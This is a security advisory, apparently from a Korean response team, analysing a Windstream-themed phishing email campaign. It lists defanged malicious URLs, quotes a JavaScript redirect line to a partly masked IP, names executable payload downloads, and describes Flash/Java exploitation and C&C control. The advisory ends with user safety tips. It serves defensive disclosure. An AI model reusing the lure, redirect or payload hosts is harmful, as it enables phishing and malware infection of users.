1. Introduction

- E-mail disguised as sent by Windstream
- No attachment, to induce user to click malicious URL
- Hard to detect due to various malicious web sites
- Being infected by just clicking
2. The body of malicious e-mail
[Warning] Malicious e-mails disguising as image file were found.
[Warning] Malicious personal message from fake LinkedIn friend
[Warning] Malicious file about portrait infringement
E-mail can be sent to uncertain users as following types. Its body contains various malicious URLs.
Title : Your Windstream bill is available for viewing
Its body contains various malicious URLs.
hxxp://kocaeliyuz****.com/XRVTGJvu/index.html?s=883&lid=2324&elq=11f7b1b5179f45b09737bdf10d0fe61f
hxxp://findingaplu****.com/cousfaek/index.html?s=883&lid=2325&elq=11f7b1b5179f45b09737bdf10d0fe61f
hxxp://glassdirec****.com.au/8t6d37YU/index.html?s=883&lid=2325&elq=11f7b1b5179f45b09737bdf10d0fe61f
hxxp://miespaciopil****.com/5AWZcNGb/index.html?s=883&lid=2327&elq=11f7b1b5179f45b09737bdf10d0fe61f
hxxp://radiog****.net/8t6d37YU/index.html?s=883&lid=2328&elq=11f7b1b5179f45b09737bdf10d0fe61f
hxxp://findingaplu****.com/cousfaek/index.html?s=883&lid=2325&elq=11f7b1b5179f45b09737bdf10d0fe61f
hxxp://glassdirec****.com.au/8t6d37YU/index.html?s=883&lid=2325&elq=11f7b1b5179f45b09737bdf10d0fe61f
hxxp://miespaciopil****.com/5AWZcNGb/index.html?s=883&lid=2327&elq=11f7b1b5179f45b09737bdf10d0fe61f
hxxp://radiog****.net/8t6d37YU/index.html?s=883&lid=2328&elq=11f7b1b5179f45b09737bdf10d0fe61f
hxxp://seven****.co.za/Zb2s9AuQ/index.html?s=883&lid=2328&elq=11f7b1b5179f45b09737bdf10d0fe61f
Upon clicking link, it will redirect browser to malicious web site and will be exposed by various exploits.
Web site shows following image due to js.js, installs various malicious files and redirects to normal msn.com.
hxxp://ican****.co.uk/wvGCntXp/js.js
hxxp://www.camargotur****.com.br/9jNMTCoL/js.js
js.js contains following contents.
document.location='http://184.***.**.237/search.php?q=fa16f5d3def51288';
It tries to install with using Adobe Flash Player, JAVA exploit.
hxxp://184.***.**.237/data/ap2.php
hxxp://akradugunsalo*****.com/k0g2Cgr9/nn4hWpH.exe
hxxp://annonceagr*****.com/eud7io3A/M13ZGPt.exe
This malicious file tries to access certain site by injected code on explorer.exe.
It can be worked by C&C(Command and Control).
Besides, attacker can monitor infected PCs and can control.
3. Summary
Recently, this kind of technique, inducing user to click type, is prevalent in Korea. Therefore, users need to be careful on using internet. To use PC safely from security threats of these malicious attachments, we recommend you download latest security updates and obey following "Security management tips" for general users.
Security management
tips
1. Maintain the latest security update on OS and applications
2. Use anti-virus SW from believable security company and keep updating the latest engine and using real time detecting function
3. Do not see and download attached file from suspicious e-mail.
4. Keep caution to link from instant messenger and SNS.
1. Maintain the latest security update on OS and applications
2. Use anti-virus SW from believable security company and keep updating the latest engine and using real time detecting function
3. Do not see and download attached file from suspicious e-mail.
4. Keep caution to link from instant messenger and SNS.
INCA Internet (Security Response Center / Emergency Response Team) runs responding system against various security threats.
You guys should also take a quick look at this page for more information on malicious emails. Never too much knowledge to protect yourself, eh?
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